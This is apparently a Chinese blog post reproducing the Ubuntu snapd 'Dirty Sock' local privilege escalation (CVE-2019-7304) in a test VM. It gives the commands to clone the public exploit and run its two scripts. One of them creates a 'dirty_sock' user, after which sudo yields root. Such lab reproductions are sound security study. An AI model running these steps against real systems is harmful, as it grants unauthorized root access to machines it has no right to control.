ubuntu本地提权漏洞复现(CVE-2019-7304)

简介
1
Ubuntu Linux的默认安装`snapd`服务,由于snapd API中的一个错误,任何本地用户都可以利用此漏洞获取对系统的直接root访问权限。
受影响版本
1
2.37.1以下
测试环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
zzq@zzq-virtual-machine:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
zzq@zzq-virtual-machine:~$ snap version
snap 2.34.2
snapd 2.34.2
series 16
ubuntu 16.04
kernel 4.15.0-29-generic
zzq@zzq-virtual-machine:~$

python2

图片.png

漏洞复现
  • 下载提权使用的exp

    1
    zzq@zzq-virtual-machine:~$ git clone https://github.com/initstring/dirty_sock.git
  • 进入下载的目录,里面是两个py文件,分别是不同的利用脚本

图片.png


方式 1:使用dirty_sockv1.py
  • 前提条件

    1
    2
    3
    1.所在的环境需要能够访问到外部网络。
    2.需要ubuntu sso的账号,自行到官网注册,地址:https://login.ubuntu.com/
    3.所在的环境需要安装ssh服务
  • 下面是我自己注册的账户

图片.png

  • 接下来首先在本地生成公钥
    1
    $ ssh-keygen -t rsa -C "<you email>"

图片.png

  • 将生成的公钥导入到ubuntu账号SSH keys中

图片.png

图片.png

  • 最后在本地执行dirty_sockv1.py,执行之前一定要先安装ssh服务
1
$ python dirty_sockv1.py -u "<your email>" -k "私钥"

图片.png

  • 成功执行完毕,再执行sudo -i,就成功提权到root
    图片.png

方式 2:使用dirty_sockv2.py
  • 第2中方法操作简单:无需任何条件,直接执行dirty_sockv2.py即可,执行成功后会创建一个dirty_sock用户,密码也为dirty_sock ,如下:

图片.png

  • 接下来先切换到用户dirty_sock,密码dirty_sock,然后再通过sudo -i提升到root权限

  • 在执行su dirty_sock的时候可能会遇到以下情况,No passwd entry for user 'dirty_sock'不幸的我是遇到了

图片.png

  • 如果遇到此情况按下图操作,查看任务进度,等到doing任务执行完之后再进行尝试,如果仍不行,请使用方法一。

图片.png

参考

http://lawlietweb.com/2019/02/17/ubuntu%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%AD%A6%E4%B9%A0%EF%BC%88CVE-2019-7304%EF%BC%89/

https://www.anquanke.com/post/id/170942

坚持原创技术分享,您的支持将鼓励我继续创作!